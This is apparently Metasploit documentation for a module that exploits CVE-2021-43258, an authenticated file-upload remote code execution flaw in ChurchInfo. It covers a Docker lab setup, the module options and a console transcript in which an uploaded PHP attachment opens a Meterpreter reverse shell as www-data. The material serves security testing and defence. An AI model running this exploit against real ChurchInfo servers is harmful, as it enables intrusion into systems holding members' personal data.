7.7 KiB
Vulnerable Application
- Project Homepage: http://www.churchdb.org/
- Project Download: https://sourceforge.net/projects/churchinfo/files/
ChurchInfo is an open source PHP application used to help churches manage systems and users of the church. There are various vulnerabilities in the ChurchInfo software which can be exploited by an attacker, however this module targets an authenticated remote code execution (RCE) vulnerability known as CVE-2021-43258 to execute code as the web daemon user (e.g. www-data).
ChurchInfo v1.2.13, v1.2.14, and v1.3.0 contain functionality to email users listed in the ChurchInfo database
with attachments. When preparing the email, a draft of the attachment is saved into
/tmp_attach/
, which is a web accessible folder under the ChurchInfo web root. Before the email is sent,
the attachment draft can be loaded in the application. By uploading a malicious PHP file
as an attachment and then browsing to it on the web server, RCE can be achieved.
This vulnerability was assigned CVE-2021-43258. Version 1.3.0 was the latest version of ChurchInfo at the time of writing and there is presently no known patch for this issue.
Installation
Installation guides are available on the SourceForge site at https://sourceforge.net/projects/churchinfo/files/.
The following however is a quick and easy way to get most versions of ChurchInfo up and running using Docker, which should make it a lot easier to setup and also clean up once you are finished testing things out.
wget https://master.dl.sourceforge.net/project/churchinfo/churchinfo/1.3.0/churchinfo-1.3.0.tar.gz
tar -xvf churchinfo-1.3.0.tar.gz
sudo docker run -i -t -p "9090:80" -v ${PWD}/churchinfo:/app mattrayner/lamp:0.8.0-1804-php7
.sudo docker ps -a
and find the container ID that was created and which is now running.sudo docker exec -it *container ID* /bin/bash
- Inside the new prompt:
mysqladmin -u root -p create churchinfo
and press the ENTER key when prompted for the password.cd /app/churchinfo/SQL
mysql -u root -p churchinfo < Install.sql
and press the ENTER key when prompted for the password.apt-get install nano
if you want to use Nano.nano /app/churchinfo/Include/Config.php
.- Set the
$sUSER
variable to'root'
. - Set the
$sPASSWORD
variable to''
. - Set the
$sRootPath
variable to'/churchinfo'
. This should be default though. - Set the
$URL[0]
tohttp://localhost/churchinfo/Default.php
. - Exit out of
nano
and run/etc/init.d/apache2 restart
- Log in at
http://127.0.0.1:9090/churchinfo/Default.php
with the usernameAdmin
and passwordchurchinfoadmin
. - This should cause the app to redirect to a password change form.
- Specify the old password, aka
churchinfoadmin
and then specify the new password twice and submit the form. - Go to
http://127.0.0.1:9090/churchinfo/PersonEditor.php
and fill out the form with as much detail as possible. - Click "Save and Add".
Verification Steps
This module requires authenticated access to the application. After identifying a vulnerable
ChurchInfo application, there MUST be a person entry available within the database. If there are no person
entries within the database, it will not be possible to create a draft email. This draft email
will be used to place the malicious attachment into the /tmp_attach
directory for our exploit.
- Start
msfconsole
use exploit/multi/http/churchinfo_upload_exec
- Set the target
RHOST
,APPBASE
,USERNAME
, andPASSWORD
values. - Optional: Set the target
RPORT
if the ChurchInfo server is running on a different port than port 80. - Optional:
set SSL true
if the target is using SSL for ChurchInfo. - Select the payload of choice or leave default.
- Set the
LHOST
to your system. - Run the exploit with
run
, enjoy the shell!
Options
There are a handful of options which can be used to further configure the attack or other environmental uses.
USERNAME
The username of a valid user account for the ChurchInfo application. Default is admin
.
PASSWORD
The password for a valid user account for the ChurchInfo application. Default is churchinfoadmin
based on documentation.
APPBASE
The base directory path to the ChurchInfo application. This can and will likely
vary depending on how the application was installed. Default value is /churchinfo/
.
EMAIL_SUBJ
The subject of the draft email used for the exploit, the email is not sent. Default value is Read this now!
.
EMAIL_MESG
The message on the draft email which is used for the exploit. The email is not sent. Default value is Hello there!
.
Scenarios
If there are no person entries in the database, the exploit will fail. To help troubleshoot, enable verbose mode with the following:
set verbose true
This will enable additional information and details about the exploit as it is launched.
ChurchInfo v1.3.0 with MySQL 5.7.35 on Ubuntu Linux 18.04.2 LTS (Docker Image)
msf6 > use exploit/multi/http/churchinfo_upload_exec
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/churchinfo_upload_exec) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf6 exploit(multi/http/churchinfo_upload_exec) > set RPORT 9090
RPORT => 9090
msf6 exploit(multi/http/churchinfo_upload_exec) > set PASSWORD testing123
PASSWORD => testing123
msf6 exploit(multi/http/churchinfo_upload_exec) > show options
Module options (exploit/multi/http/churchinfo_upload_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
EMAIL_MESG Hello there! yes Email message in webapp
EMAIL_SUBJ Read this now! yes Email subject in webapp
PASSWORD testing123 yes Password to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 9090 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /churchinfo/ yes The location of the ChurchInfo app
USERNAME admin yes Username for ChurchInfo application
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.30.182.196 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/churchinfo_upload_exec) > set LHOST docker0
LHOST => docker0
msf6 exploit(multi/http/churchinfo_upload_exec) > run
[*] Started reverse TCP handler on 172.18.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Target is ChurchInfo!
[+] The target is vulnerable. Target is running ChurchInfo 1.3.0!
[+] Logged into application as admin
[*] Navigating to add items to cart
[+] Items in Cart: Items in Cart: 2
[+] Uploading exploit via temp email attachment
[+] Exploit uploaded to /churchinfo/tmp_attach/ueNYs9.php
[+] Executing payload with GET request
[*] Sending stage (39927 bytes) to 172.18.0.2
[+] Deleted ueNYs9.php
[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.18.0.2:37790) at 2022-11-18 17:44:31 -0600
meterpreter > getpid
Current pid: 452
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : 8eeaa82293b4
OS : Linux 8eeaa82293b4 5.15.0-53-generic #59-Ubuntu SMP Mon Oct 17 18:53:30 UTC 2022 x86_64
Meterpreter : php/linux
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